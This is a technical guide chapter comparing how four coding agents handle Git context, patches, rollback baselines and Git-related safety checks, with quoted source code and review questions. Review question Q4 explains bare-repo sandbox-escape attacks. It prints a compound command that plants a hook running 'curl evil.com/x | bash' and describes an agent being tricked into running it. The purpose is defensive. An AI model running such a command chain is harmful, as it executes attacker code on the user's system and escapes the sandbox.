08 · How to Roll Back Agent Changes
Locate, apply, and roll back agent changes without overwriting the user's uncommitted work
Chapter brief
Question to answer
When an agent breaks code, how can you roll it back without overwriting the user's uncommitted work?
By the end, you can
- Separate user state, agent state, and recoverable checkpoints
- Choose branches, worktrees, patches, or snapshots as isolation boundaries
- Write tests for conflicts, dirty trees, interruption, and repeated rollback
- Read this now if
- Engineers connecting agents to real repositories, worktrees, branches, or cloud tasks
- Prerequisites
- Know Git working trees, indexes, commits, and branches
- Deliverable
- An agent Git state machine and safe-rollback test sheet
- Evidence boundary
- Git cannot automatically compensate database or external-API side effects
Git is both recovery and audit
Section titled “Git is both recovery and audit”Scenario: the user’s working tree contains staged, unstaged, and untracked changes. The agent fixes a bug in the same directory, fails tests, and tries to “return to baseline.” If baseline means git reset --hard HEAD, rollback deletes the user’s uncommitted work too.
Passing conditions: record user state and the agent baseline at start; keep agent changes distinguishable through a patch, branch, or worktree; rollback touches only agent-owned changes; untracked files, the user’s index, and pre-run commits remain verifiably intact.
First ask: can rollback leave the user’s Git alone?
Section titled “First ask: can rollback leave the user’s Git alone?”Five git-related responsibilities, four levels of coverage:
| Dimension | Codex | Claude Code | OpenClaw | Hermes |
|---|---|---|---|---|
| Abstraction layer | Standalone crate `codex-git-utils` + strongly-typed `GitSha` | utils/git.ts + gitFilesystem cache layer + LSP integration | infra/git-root.ts + git-commit.ts (version stamp only) | Inline subprocess in banner.py |
| Git context fed to model | `GitInfo { commit_hash, branch, repository_url }` injected into system context | cwd / branch / head via env + caches | Not injected; model runs `git status` itself | Not injected; model runs `git status` itself |
| patch / commit | `apply_git_patch` + `parse_git_apply_output` + `stage_paths` end-to-end | BashTool + 23 checks; no dedicated git apply abstraction | No git apply abstraction | No git apply abstraction |
| PR workflow | `app-server` exposes git API; `GitDiffToRemote`, `recent_commits`, `merge_base_with_head` | `/review` + `/pr_comments` slash commands + `gh pr` + ultrareview remote | Not built-in | Not built-in |
| Security defense | Commands gate via execpolicy (git reset --hard is forbidden by default) | PowerShell `gitSafety.ts`: bare-repo + git-internal write defenses | Paths gate via workspaceOnly policy | workdir allowlist + dangerous-command guard |
Source evidence: who owns recovery, context, and safety
Section titled “Source evidence: who owns recovery, context, and safety”Codex · Pull git into a standalone crate, 30+ functions covering every interaction between agent and version control
Section titled “Codex · Pull git into a standalone crate, 30+ functions covering every interaction between agent and version control”A coding agent reads state, applies patches, and compares changes every turn. Leaving those calls as shell text spreads parsing and rollback logic across the product. Codex puts apply, baseline, branch, and info behind git-utils; the question here is recovery, not crate size.
So Codex decides to pull git into its own crate and do all the ‘structured abstraction’ + ‘performance optimisation’ + ‘error handling’ + ‘security defense’ once and well, leaving callers facing only a clean Rust API.
Opening codex-git-utils/lib.rs and looking at the public API surface shows just how seriously this is done:
Codex codex/codex-rs/git-utils/src/lib.rs:1-41 git-utils crate's public surface: apply / baseline / branch / info / patch
mod apply;mod baseline;mod branch;mod errors;mod info;mod operations;mod platform;
pub use apply::ApplyGitRequest;pub use apply::ApplyGitResult;pub use apply::apply_git_patch;pub use apply::extract_paths_from_patch;pub use apply::parse_git_apply_output;pub use apply::stage_paths;pub use baseline::GitBaselineChange;pub use baseline::GitBaselineDiff;pub use baseline::diff_since_latest_init;pub use baseline::ensure_git_baseline_repository;pub use baseline::reset_git_repository;pub use branch::merge_base_with_head;pub use codex_protocol::protocol::GitSha;pub use errors::GitToolingError;pub use info::CommitLogEntry;pub use info::GitDiffToRemote;pub use info::GitInfo;pub use info::canonicalize_git_remote_url;pub use info::collect_git_info;pub use info::current_branch_name;pub use info::default_branch_name;pub use info::get_git_remote_urls;pub use info::get_git_repo_root;pub use info::get_has_changes;pub use info::git_diff_to_remote;pub use info::local_git_branches;pub use info::recent_commits;pub use info::resolve_root_git_project_for_trust;The API surface is split into 5 modules each owning a slice. The apply module handles applying patches: taking a patch string from the model, applying it to the workspace, and returning the affected file path list (so callers can decide whether to stage, whether to show to user).
The baseline module handles a clean-state snapshot: at startup it keeps a repository copy inside the sandbox, diff_since_latest_init shows what a turn changed, and reset_git_repository can restore that copy. In the cited snapshots, this path is explicit in Codex; the other systems use different recovery boundaries rather than providing the same API.
The branch module computes merge-base (finding the common ancestor commit between the current branch and another), used to compute ‘the commits unique to this branch’.
The info module collects metadata: the GitInfo triple (commit / branch / repository_url), recent_commits listing recent commits, git_diff_to_remote computing the diff against the remote.
The operations and platform modules handle low-level operations and platform compatibility.
The most critical design is the GitInfo object. It is a strongly-typed struct, collected at agent startup and then injected into the system context:
Codex codex/codex-rs/git-utils/src/info.rs:44-82 GitInfo triple + parallel collection + 5s timeout
#[derive(Serialize, Deserialize, Clone, Debug, JsonSchema, TS)]pub struct GitInfo { #[serde(skip_serializing_if = "Option::is_none")] pub commit_hash: Option<GitSha>, #[serde(skip_serializing_if = "Option::is_none")] pub branch: Option<String>, #[serde(skip_serializing_if = "Option::is_none")] pub repository_url: Option<String>,}
/// Timeout for git commands to prevent freezing on large repositoriesconst GIT_COMMAND_TIMEOUT: TokioDuration = TokioDuration::from_secs(5);
pub async fn collect_git_info(cwd: &Path) -> Option<GitInfo> { let is_git_repo = run_git_command_with_timeout(&["rev-parse", "--git-dir"], cwd) .await? .status .success();
if !is_git_repo { return None; }
// Run all git info collection commands in parallel let (commit_result, branch_result, url_result) = tokio::join!( run_git_command_with_timeout(&["rev-parse", "HEAD"], cwd), // ... ); // ...}There are three engineering details in this code worth dwelling on. The first is that GitSha is a strong type, not a raw String: codex_protocol::protocol::GitSha packages format validation, serialization, and TS type export into one type, so callers receiving a GitSha know it is a legal git SHA and do not have to re-write a regex per caller.
The “don’t let String roam free across the system” principle matters in large codebases; concepts with a stable format deserve a type at their boundaries.
The second is the 5-second timeout, whose comment says “prevent freezing on large repositories.” That proves the snapshot sets a bounded budget; it does not prove that a class of monorepos normally hangs for 30 seconds. Locks, index work, and network mounts can change the result.
After a timeout, this snapshot lets GitInfo return None so the agent can start without Git context. The third is parallel collection: the source launches commit, branch, and URL calls with tokio::join!; whether this turns three waits into one in practice must be measured on the target repository and filesystem.
The baseline group (ensure_git_baseline_repository / diff_since_latest_init / reset_git_repository) deserves special discussion. It is Codex’s unique “agent-owned snapshot repository” mechanism.
Concretely: when the agent starts, it separately inits a git repo inside the sandbox as the baseline, committing the entire current workspace state into it; after the agent runs a turn making many changes in the main repo, diff_since_latest_init shows “what changes this run made” (independent of the user’s own git history), and reset_git_repository one-button rolls the entire workspace back to the baseline state.
This “broke it? one-button rollback” capability is extremely valuable for experimental agent operations: users can let the agent boldly attempt things knowing that any error can be reset back to a clean state.
None of the other three systems builds this.
Claude Code · Treat git as IDE infrastructure: high-performance caching + high-security defense + slash command packaging
Section titled “Claude Code · Treat git as IDE infrastructure: high-performance caching + high-security defense + slash command packaging”An IDE agent repeatedly finds repository roots in directories it does not fully trust. Claude Code uses an LRU cache for repeated stat calls and checks PowerShell commands for bare-repo and internal-write combinations. Its review flow stays in a prompt.
Its starting point: for IDE-style agents, git is infrastructure that has to do three things: performance (IDEs call git commands frequently, every call going through a subprocess is too slow), security (the IDE user’s cwd is completely untrusted, git can be weaponised for sandbox escape), and workflow packaging (let multi-step flows like code review and PR comments be one-liners).
Let’s go through each in detail.
The performance core is findGitRoot’s LRU cache. Before every file operation, the agent has to figure out the git repo root for that file’s path; if a turn modifies 20 files across 10 directories, without caching it has to do 10 “walk up to find .git” operations, each a chain of stat syscalls:
Claude Code claude-code/src/utils/git.ts:27-86 findGitRoot wrapped in LRU 50 + diagnostic logs
const findGitRootImpl = memoizeWithLRU( (startPath: string): string | typeof GIT_ROOT_NOT_FOUND => { const startTime = Date.now() logForDiagnosticsNoPII('info', 'find_git_root_started')
let current = resolve(startPath) const root = current.substring(0, current.indexOf(sep) + 1) || sep let statCount = 0
while (current !== root) { try { const gitPath = join(current, '.git') statCount++ const stat = statSync(gitPath) // .git can be a directory (regular repo) or file (worktree/submodule) if (stat.isDirectory() || stat.isFile()) { logForDiagnosticsNoPII('info', 'find_git_root_completed', { duration_ms: Date.now() - startTime, stat_count: statCount, found: true, }) return current.normalize('NFC') } } catch { // .git doesn't exist at this level, continue up } // ... } // ... }, path => path, 50,)A few details stand out. memoizeWithLRU(fn, keyFn, 50)’s 50 is the LRU capacity: 50 different startPaths get cache hits, and the LRU evicts the oldest beyond that. Why 50?
The source comment explains why an unbounded cache is avoided: edits across directories would accumulate keys. It does not provide a benchmark showing that 50 covers most monorepos. Treat 50 as this version’s implementation parameter and choose another value from hit-rate and memory measurements in your own workload. logForDiagnosticsNoPII records lookup duration and stat count without the path; stat.isDirectory() || stat.isFile() handles .git directories and files.
The security layer is Claude Code’s PowerShell-specific gitSafety.ts, which defends two specific git sandbox-escape attacks:
Claude Code claude-code/src/tools/PowerShellTool/gitSafety.ts:1-10 Two git-based sandbox-escape attacks defended
/** * Git can be weaponized for sandbox escape via two vectors: * 1. Bare-repo attack: if cwd contains HEAD + objects/ + refs/ but no valid * .git/HEAD, Git treats cwd as a bare repository and runs hooks from cwd. * 2. Git-internal write + git: a compound command creates HEAD/objects/refs/ * hooks/ then runs git — the git subcommand executes the freshly-created * malicious hooks. */The two attack details deserve elaboration. The bare-repo attack relies on a git design: if a directory contains the HEAD file + objects/ directory + refs/ directory all at the same time, git treats that directory as a “bare repository” (a git repo without a working directory), and that repo’s hooks/ directory is executed by git.
If an attacker can write these files into the agent’s cwd, Git operations that read or switch repository state may interpret the directory as a bare repository and run hooks. Which hook runs depends on the subcommand and configuration; this article does not treat “any git command” as a verified fact.
The git-internal write + git compound attack is more subtle: an attacker crafts a shell compound command that first creates HEAD / objects / refs / hooks/ and then runs git in the same command, so that git on that very command executes the malicious hooks just created. gitSafety.ts defends by checking before running any git command whether cwd contains these structures and, if so, refusing to run; on any compound command, splitting on &&, ||, ; and validating each segment, refusing combinations like “create git-internal files then run git”.
For an IDE agent this defense is essential; without it, any user could be attacked by a malicious repo.
The workflow packaging layer is slash commands. Claude Code’s /review command does not write code that calls gh CLI directly; it embeds a carefully written prompt and lets the model itself drive the three-step gh pr workflow:
Claude Code claude-code/src/commands/review.ts:9-32 /review command's embedded prompt: gh pr three-step
const LOCAL_REVIEW_PROMPT = (args: string) => ` You are an expert code reviewer. Follow these steps:
1. If no PR number is provided in the args, run \`gh pr list\` to show open PRs 2. If a PR number is provided, run \`gh pr view <number>\` to get PR details 3. Run \`gh pr diff <number>\` to get the diff 4. Analyze the changes and provide a thorough code review that includes: - Overview of what the PR does - Analysis of code quality and style - Specific suggestions for improvements - Any potential issues or risks
Keep your review concise but thorough. Focus on: - Code correctness - Following project conventions - Performance implications - Test coverage - Security considerations
Format your review with clear sections and bullet points.
PR number: ${args} `This is the “prompt-as-command” pattern: the slash command itself only does prompt template substitution + injection, and all of the gh CLI calling, output parsing, and decision-making is done by the model on its own.
The benefit is huge: the prompt is far easier to maintain than calling code (changing the review template doesn’t even need a code review), the model can flexibly adapt to different scenarios (e.g. handle the “no PR number provided” case by listing open PRs first), and the same pattern is reusable elsewhere: /pr_comments for replying to PR comments and /ultrareview for routing to a remote review pipeline are the same shape.
OpenClaw · Don’t pull git into the agent abstraction, the platform only does version stamping
Section titled “OpenClaw · Don’t pull git into the agent abstraction, the platform only does version stamping”A general control plane should not prescribe a Git workflow to every skill. OpenClaw finds the root and records a version stamp, then leaves status, patches, and rollback to shell tools owned by the caller.
Different users have wildly different git workflows (some teams use trunk-based, some gitflow, some have no git at all), the platform should not impose any specific git operating style; what the platform really needs to do is just provide the basic ‘which repo + which commit are we in’ metadata for the system context, and let everything else be done by the model via the shell tool (no different from ls or grep).
The actual git handling is two minimal files. git-root.ts is a 30-line walk-up that finds .git:
OpenClaw openclaw/src/infra/git-root.ts:3-41 All of git-root.ts: 30 lines of walk-up
export const DEFAULT_GIT_DISCOVERY_MAX_DEPTH = 12;
function walkUpFrom<T>( startDir: string, opts: { maxDepth?: number }, resolveAtDir: (dir: string) => T | null | undefined,): T | null { let current = path.resolve(startDir); const maxDepth = opts.maxDepth ?? DEFAULT_GIT_DISCOVERY_MAX_DEPTH; for (let i = 0; i < maxDepth; i += 1) { const resolved = resolveAtDir(current); if (resolved !== null && resolved !== undefined) { return resolved; } const parent = path.dirname(current); if (parent === current) break; current = parent; } return null;}
export function findGitRoot(startDir: string, opts: { maxDepth?: number } = {}): string | null { return walkUpFrom(startDir, opts, (repoRoot) => (hasGitMarker(repoRoot) ? repoRoot : null));}Three details speak to OpenClaw’s restraint. DEFAULT_GIT_DISCOVERY_MAX_DEPTH = 12 is a hard upper bound: at most walk up 12 levels of parent directories looking for .git; if not found, give up.
This prevents the worst case of “the user’s cwd is /, the find walks the entire disk.” walkUpFrom is a generic walk-up function, taking a resolveAtDir callback, so the same algorithm is reusable elsewhere (e.g. finding package.json or tsconfig.json). hasGitMarker(repoRoot) is the marker check, accepting both .git/ directories and .git files (handling worktree and submodule cases).
The whole function is pure algorithm with no engineering complexity, easy to reuse directly.
The other small piece is git-commit.ts, which builds the version label by reading .git/HEAD directly, bypassing the git binary dependency:
OpenClaw openclaw/src/infra/git-commit.ts:86-103 Read .git/HEAD directly, no git binary dependency
const readCommitFromGit = ( searchDir: string, packageRoot: string | null,): string | null | undefined => { const headPath = resolveGitHeadPath(searchDir, { maxDepth: resolveGitLookupDepth(searchDir, packageRoot), }); if (!headPath) { return undefined; } const head = fs.readFileSync(headPath, "utf-8").trim(); if (!head) return null; if (head.startsWith("ref:")) { // ... resolve ref to commit hash } // ...};Why bypass the git binary? Two reasons. One is reliability: git might not be on PATH (e.g. inside some Docker containers, or on Windows where git is sometimes only registered for the current user, not the system), and reading the .git/HEAD file directly only relies on filesystem access, which is much more reliable.
The other is performance: spawning a git subprocess adds process startup and repository access that a direct file read avoids. The source does not benchmark that difference, so measure both paths on the target operating system and repository before assigning a latency claim.
OpenClaw is heavily called at startup banner rendering, package metadata logging, and other paths, so this performance gain is worthwhile.
Consistent with OpenClaw’s positioning as a control plane (not a coding tool), the actual git operations are entirely done by the model via shell tools (governed by chapter 04’s tool-policy-pipeline + workspaceOnly), while the platform itself only owns the “which repo + which commit” metadata.
Hermes · Don’t abstract git at all, just one banner line letting the user know the current version
Section titled “Hermes · Don’t abstract git at all, just one banner line letting the user know the current version”A chat agent may only need to show its build revision at startup. Hermes reads upstream and local SHAs in the banner; it has no patch or rollback layer. That is a scope choice, not evidence that Git is understood.
Hermes hermes-agent/hermes_cli/banner.py:213-238 The banner's only git state: upstream / local / ahead
def get_git_banner_state(repo_dir: Optional[Path] = None) -> Optional[dict]: """Return upstream/local git hashes for the startup banner.""" repo_dir = repo_dir or _resolve_repo_dir() if repo_dir is None: return None
upstream = _git_short_hash(repo_dir, "origin/main") local = _git_short_hash(repo_dir, "HEAD") if not upstream or not local: return None
ahead = 0 try: result = subprocess.run( ["git", "rev-list", "--count", "origin/main..HEAD"], capture_output=True, text=True, timeout=5, cwd=str(repo_dir), ) if result.returncode == 0: ahead = int((result.stdout or "0").strip() or "0") except Exception: ahead = 0
return {"upstream": upstream, "local": local, "ahead": max(ahead, 0)}A few details show Hermes’s restraint clearly. The function takes one optional repo_dir parameter: if not given, it defaults to “find the Hermes installation directory itself”; the user can also pass an explicit cwd, but the design defaults assume “only show Hermes’s own version, not the user’s project version.” _git_short_hash is an internal helper that runs git rev-parse --short origin/main and git rev-parse --short HEAD to get the upstream and local short SHAs, returning None on failure. git rev-list --count origin/main..HEAD counts how many commits ahead local is of upstream: if a user is using a custom build (not the official version), this tells them “you have +3 carried commits not yet upstream.” The timeout=5 parameter is the timeout: same as Codex’s setting, the worst case where git is hung still lets the banner print in 5 seconds without blocking startup.
The outermost try/except swallows every exception; banner failures should never block the agent starting, so even if git is broken the user gets a clean banner.
The CLI banner prints Hermes Agent v0.x.x · upstream abc1234 · local def5678 (+3 carried commits) and stops there.
To check status, commit a file, or push a PR, the model goes through the terminal_tool, no different from running ls (chapter 07 covers the shell layer in detail).
This snapshot keeps Git at the shell and version-stamp boundary. For Hermes’s multi-platform ChatOps positioning, many task paths do not edit repositories, so a thinner control-plane abstraction limits unused maintenance surface; a coding-first product would need deeper Git support for patches, rollback, or worktree protection.
Invariants shared by recovery paths
Section titled “Invariants shared by recovery paths”The four snapshots reviewed here share four implementation details. Treat them as source observations, not as a universal Git specification; validate the choices against your repository.
The first agreement is that .git as a file counts too. Modern git workflows include worktree (one repo with multiple working trees) and submodule (a repo embedded in another), where the subdirectory’s .git is not a directory but a file whose content is a path pointer like gitdir: /actual/path/to/git.
The Codex, Claude Code, and OpenClaw paths examined here explicitly recognise both forms; Hermes exposes a narrower banner path. A worktree check that only accepts directories can still report a false “not a git repo”.
Skip this and a worktree user’s git root finds nothing, and the agent reports “this is not a git repo,” embarrassing in production.
The second agreement is walking up to find the repo root with a hard depth cap. The walk-up algorithm (starting from cwd and walking parents looking for .git) is shared by Codex / Claude Code / OpenClaw (Hermes uses git binary, so it doesn’t need this).
The cap of 8-12 levels is a defensive design: in the worst case where the user’s cwd is /, walking up without a cap traverses no parents but theoretically still has algorithmic risk in other path layouts; with a cap, even if the walk-up logic has a bug, it can never explode.
The third detail is a bounded Git subprocess timeout. Codex and Hermes set five seconds in the snapshots reviewed here. That is a starting budget, not a benchmark: large indexes, locks, and network mounts can change the result. Return a visible degraded state on timeout, then tune the budget with measurements from the target environment.
The fourth agreement is that the absence of the git binary must degrade gracefully.
The paths reviewed here all leave a degraded route when Git is unavailable: OpenClaw reads .git/HEAD directly, Codex can return empty Git context, and the other implementations handle command failure. Whether that fallback is sufficient is a deployment question.
This matters because git really isn’t always there: in some Docker base images (alpine), in CI environments, on Windows machines where git is uninstalled or not on PATH for the current user, gating any agent feature on “must have git” frustrates users; degrading gracefully means without git the agent can still run, just losing the git-related context.
Choose abstraction depth by constraint
Section titled “Choose abstraction depth by constraint”If you are building your own agent, the choice depends on what role git plays in your scenario.
If you are building a coding-first agent (Cursor-style, GitHub Copilot Workspace-style, Devin-style), git is core infrastructure.
Codex’s git-utils crate is one reference: GitInfo supplies commit and branch context, a baseline creates a rollback point, and apply_git_patch gives patches one landing path.
Whether that typed layer repays its engineering cost depends on Git call frequency, rollback requirements, and observed failures in the target workload.
If you are building an IDE plugin or developer tool (VS Code extension, JetBrains plugin), git is workflow infrastructure. Borrow from Claude Code’s cache layer + gitSafety.ts dual defense + /review prompt-as-command pattern.
A cache can reduce repeated lookup time when the integration queries the same repository on most interactions. If users can open untrusted repositories, test defenses such as gitSafety.ts against the relevant threat model. Prompt-as-command makes review and PR workflows easier to revise, but it is one option rather than a universal optimum.
If you are building a general-purpose control plane (not a coding agent, e.g. agent orchestrators, workflow runners, multi-agent platforms), git is just one of many context metadata items.
Borrow from OpenClaw’s minimalist approach: only provide git-root walk-up + .git/HEAD direct read for version stamping; everything else, let the model do via shell tools.
The benefit is keeping core abstractions clean and not over-engineering for one specific use case.
If you are building a minimalist code-light agent (chat agent, simple Q&A bot), there is no need to bring in git overhead at all.
Hermes’s banner-only approach solves version identification and leaves other Git queries to shell. It removes a dedicated API, but also gives up shared error handling; that trade-off fits only when repository state is peripheral to the product.
Choice: where should the rollback boundary live?
Section titled “Choice: where should the rollback boundary live?”There is no star rating here. The right Git depth follows the product boundary.
| Constraint | Start with | Cost or boundary |
|---|---|---|
| The agent edits, commits, and must undo its own run | Codex GitInfo, apply_git_patch, and baseline | A dedicated API and temporary snapshot need maintenance |
| An IDE agent performs frequent lookups in untrusted directories | Claude Code LRU and gitSafety.ts | Cache invalidation and attack coverage remain your responsibility |
| Git is optional in a general agent framework | OpenClaw root and version stamp | Coding workflows belong in a skill |
| The product only needs to expose its build version | Hermes banner | State, patches, and rollback stay in shell tools |
Build the smallest Git integration
Section titled “Build the smallest Git integration”Below is a starting checklist derived from the cited source paths. Make recovery and failure states observable first; add features after measuring the target workload. The numbers below are reference values, not delivery promises.
Build recipe
最小可行
- Start with walk-up to find git-root (borrow from OpenClaw's 30 lines): walk up from cwd until seeing a .git directory, simple and direct; this is the first step of any git integration
- Read .git/HEAD for short SHA without depending on git binary: git not on PATH (CI / container / minimalist systems) can still get the SHA; HEAD file format is simple (one line ref or SHA), regex parses it
- Give every git subprocess a bounded timeout. The five-second value in the cited implementations is a starting point; measure your repositories and return a visible degraded value (such as commit=unknown) on timeout
- Route git operations through the generic shell interceptor (no special git backdoor): git commands have danger equivalent to other shell commands (git push --force / git reset --hard can both destroy data); don't open a special channel for git for convenience
进阶
- Turn git state into a typed object injected into system context (borrow from Codex's GitInfo): { commit, branch, remote_url, dirty } fields are model-friendly (model doesn't parse git status output itself), also directly i18n / annotation-able
- Fetch commit / branch / remote_url in parallel (use Promise.all or tokio::join!) when the calls are independent. Parallelism reduces serial wait, but the actual gain belongs in a target-environment measurement
- Cache findGitRoot in an LRU (borrow from Claude Code's 50 entries): repeated access to the same directory in one session can avoid duplicate walk-ups; 50 is this source snapshot's implementation parameter, so choose it from hit-rate and memory measurements for the target workload
- Build a baseline snapshot mechanism (borrow from Codex's ensure_git_baseline_repository): maintain a clean repo copy in the sandbox; one-click reset to baseline if agent breaks something; this is the key to "let the agent edit boldly without fear of breaking"
- Expose apply_git_patch as a high-level call (borrow from Codex's git-utils/apply.rs): patch string in, affected file list out; model doesn't do git apply itself then handle conflict, abstracting away tedious details
- Add bare-repo attack defense (borrow from Claude Code's gitSafety.ts): cwd containing HEAD + objects/ + refs/ triggers a warning; this is a common entry for git "fake-repo" attacks (path traversal + git internal write)
- Build /review-style prompt-as-command (borrow from Claude Code): user inputs PR number, model runs gh pr view / gh pr diff / gh pr comments triple; pre-defining high-frequency use cases as commands saves tokens and time
一开始别做
- Don't assume git is on PATH: CI / container / Windows users may lack it; at minimum do startup detection (git --version), fall back to degraded mode on failure (don't read git info), don't throw and crash the agent
- Don't dump git status output raw to the model: output is unstructured text (Chinese / English / different git version formats vary), model parsing rate is low; parse into { branch, ahead, behind, files: [...] } first
- Don't open backdoors for git reset --hard / git push --force: these commands destroy data unrecoverably, must go through execpolicy / permission mode interception; agent looking "convenient" will eventually cause an incident
- Don't ignore worktrees / submodules: handle .git being a file (worktree subdirectory's .git is a file pointing to main repo); submodule's .git is also a file; ignoring leads to misjudging repo root
- Don't let the model run unbounded git commands. Large repositories, locks, and history rewrites can take much longer than expected; set a timeout and explain the next step when it fires
Put the differences at the decision points
Section titled “Put the differences at the decision points”An order of magnitude apart. Codex ships thousands of lines of git-utils; Hermes ships a 25-line banner function. Neither is wrong, just different agent positioning.
Where to verify Git state and rollback
Section titled “Where to verify Git state and rollback”What to carry forward and the next experiment
Section titled “What to carry forward and the next experiment”Git has two jobs in an agent system: preserve recoverable state and leave an auditable change set. The important question is not how many commands are exposed, but who owns user changes, agent changes, and checkpoints.
Next experiment: create a dirty tree with staged, unstaged, and untracked files. Let the agent edit two files, add one, commit once, and crash after a failing test. Test undo-current-step, return-to-agent-baseline, and session resume. Pass only with zero user-data loss, an independently inspectable agent diff, and idempotent repeated rollback.
Appendix: exercises and review
Section titled “Appendix: exercises and review”Open the exercises and ten review questions
Exercises
Section titled “Exercises”- 🟢 Implement findGitRoot. Use walk-up to find the nearest
.gitwith a 12-level depth cap. Handle both cases:.gitas a directory (regular repo) and.gitas a file (worktree). - 🟠 Implement GitInfo as a strong type. Return
{ commit_hash, branch, repository_url }. Fetch the three fields in parallel with a total 5s timeout. - 🟠 Build baseline snapshots. Keep a baseline repo in a sandbox temp dir. Dump a diff every turn; user can one-button reset. Verify: run five turns and check disk usage is reasonable.
- 🔴 Anti bare-repo attack. Implement
validateGitArgs(args)that scans for the simultaneous presence ofHEAD,objects,refs, andhookssubstrings; if all match, trigger approval. Verify: blockgit --git-dir=. statuswhere.is a hand-crafted directory.
Review questions
Section titled “Review questions”Q1 · Concept: Codex builds an entire git crate, Hermes shows one banner line. What’s the underlying difference?
The difference is whether git is a core abstraction or peripheral metadata, which is downstream of product positioning.
Codex is a coding agent. An end-to-end task may read and edit files, inspect repository state, run tests, and prepare a commit, so Git participates at several points. GitInfo gives the model the current commit and branch, apply_git_patch combines patch landing with staging, and a baseline supports recovery. Whether those APIs repay their maintenance cost depends on how often the product runs this workflow.
Hermes is a multi-agent research platform. Git is one of many metadata items (alongside GPU configs, env vars, model versions). The banner shows “upstream abc1234 / local def5678 / +3 carried commits” so users know which version is running.
Nothing more. Hermes users’ task paths use git no more than they use GPU info, so abstracting git separately doesn’t pay.
Engineering principle: abstraction depth tracks usage frequency and failure cost. A frequent Git path that needs structured recovery can justify a dedicated API; a path that only displays a version stamp can remain thin. Hermes has no reason to bolt on git-utils just to “look professional.”
Real-world analogues:
- React Native makes navigation first-class (page transition is core interaction).
- Webpack makes bundle first-class.
- Electron makes window first-class.
Each framework has one core abstraction; everything else is peripheral metadata. Codex’s core is coding patch; Hermes’s is multi-agent execution; OpenClaw’s is tool policy; Claude Code’s is IDE state.
Git’s importance differs across the four, so abstraction depth differs by an order of magnitude.
Source: codex/codex-rs/git-utils/src/lib.rs:1-41 (30 public APIs) vs hermes/hermes_cli/banner.py:213-238 (25-line function).
Follow-up: “Claude Code isn’t a git tool either, why does it abstract so much?” Claude Code is an IDE plugin; IDE users expect git as a first-class citizen (VS Code ships a git panel; JetBrains ships a git pane). Claude Code matches that expectation. Hermes is a CLI; users expect less.
Q2 · Architecture: Why is Codex’s GitSha a strong type and not just String?
GitSha in Rust is a String newtype wrapper with construction-time validation: 40-char hex or 7-char short SHA. Looks redundant; actually prevents three bug classes.
1. Stops SHA / path mixup
Function signatures: fn checkout(sha: GitSha, path: PathBuf) vs fn checkout(sha: String, path: String). The first refuses to let you pass a path as SHA; the second lets String flow anywhere.
Agent systems are full of Strings and confusing call sites. Newtypes are the Rust antidote.
2. Centralizes SHA-format validation
GitSha::new("abc") should fail (too short); GitSha::new("xyz123...") should fail (not hex). One validation point, one source of truth. With String, every consumer either repeats the check or skips it.
3. Serialization / TS type export unified
Codex uses JsonSchema + TS derive macros to export Rust types as TypeScript. GitSha defined once becomes type GitSha = string & { __brand: 'GitSha' } in the frontend (branded type). Frontend fetches, UI state are all type-safe.
Engineering principle: use a newtype when confusing two valid-looking strings would cross a meaningful boundary. SHA, UUID, file path, and URL are candidates when the type checker can prevent a real mix-up; wrapping every formatted string also adds conversion and API surface.
Similar designs:
- TypeScript branded types
- Haskell newtype
- Java
value class - Python
NewType(weaker; only enforced by mypy/pyright)
Codex doesn’t stop at GitSha; RolloutId, SessionId, ConversationId are all newtypes.
Source: codex/codex-rs/protocol/src/protocol.rs, search GitSha.
Follow-up: “Should Python projects do this too?” Python has no zero-cost newtype; NewType is just str at runtime, only mypy/pyright see it. But soft typing still beats raw strings. Hermes doesn’t do this because Hermes overall isn’t strict-typed.
Q3 · Concept: Why does collect_git_info use tokio::join! to fetch in parallel instead of serial?
Serial and parallel timing depends on the actual cost of the three commands; independent calls are bounded by the slowest one, not by a fixed multiplier.
collect_git_info needs three things:
- Current commit hash:
git rev-parse HEAD - Current branch:
git rev-parse --abbrev-ref HEAD - Remote URL:
git config --get remote.origin.url
This article has no timing trace for a particular repository, so it does not claim 100-500ms or a 500ms-versus-1500ms result. Codex uses tokio::join!; a reproduction should record serial, parallel, cold-cache, and warm-cache runs.
let (commit_result, branch_result, url_result) = tokio::join!( run_git_command_with_timeout(&["rev-parse", "HEAD"], cwd), run_git_command_with_timeout(&["rev-parse", "--abbrev-ref", "HEAD"], cwd), run_git_command_with_timeout(&["config", "--get", "remote.origin.url"], cwd),);Why not parallelize every git operation? Because some have data dependencies:
- Commit hash → that commit’s message → serial.
- Branch → its upstream → serial.
Only operations with no dependency can run in parallel. The three in collect_git_info happen to be independent, so they fly together.
Engineering judgment: look for independent batches on a startup path, then check resource contention, error handling, and observability before parallelizing. The other examples below need their own source checks:
app-serverstart: parallel load config / sandbox spec / git info.- TUI start: parallel init terminal / load history / connect IPC.
- Rollout load: parallel read manifest / read events / verify checksum.
Source: codex/codex-rs/git-utils/src/info.rs:113-150 (the tokio::join!).
Follow-up: “Node / Python projects can do this?” Yes. Node: Promise.all([cmd1, cmd2, cmd3]). Python: asyncio.gather(...). Python’s default subprocess is blocking; use asyncio.create_subprocess_exec. Hermes doesn’t because its banner isn’t on the startup critical path (it shows asynchronously, latency tolerated).
Q4 · Security: What are the two git sandbox-escape attacks gitSafety.ts defends against?
Git is designed to be extremely flexible, flexible enough that, in a sandbox setting, it can run arbitrary code without the user realizing. Two attacks:
Attack A · Bare-repo attack
Git treats a directory as a “bare repository” when it contains HEAD, objects/, refs/, hooks/ and lacks .git/. Attacker plants:
malicious-dir/├── HEAD ← any content├── objects/ ← empty├── refs/ ← empty└── hooks/ └── post-checkout ← real payload (chmod +x)After the agent enters malicious-dir, a Git subcommand that reads or switches repository state may interpret it as a bare repo and run a hook. Whether git status triggers it is a test-vector question, not a general guarantee.
Attack B · Git-internal write + compound command
Model is tricked into:
mkdir HEAD objects refs hooks && \ echo 'curl evil.com/x | bash' > hooks/post-checkout && \ chmod +x hooks/post-checkout && \ git statusPhase 1 turns cwd into a bare-repo shape. Phase 2 runs the git command that fires the hook. To BashTool each step looks safe: mkdir + echo + chmod + git status. Combined: sandbox escape.
Claude Code’s defense (simplified, PowerShell flavor since PowerShell lacks set -e discipline):
if (cwd_contains_all_of(['HEAD', 'objects', 'refs']) && !cwd_contains('.git')) { throw new Error('Potential bare-repo attack: refuse to run git in suspicious cwd');}
if (command_creates_files_then_runs_git(parsed)) { throw new Error('Potential compound attack: deny');}Engineering principle: any tool that turns strings into syscalls is a potential RCE entry. Git is, curl is, tar is, find -exec is, bash even more so. Defense in depth assumes every layer fails.
Source: claude-code/src/tools/PowerShellTool/gitSafety.ts:1-130.
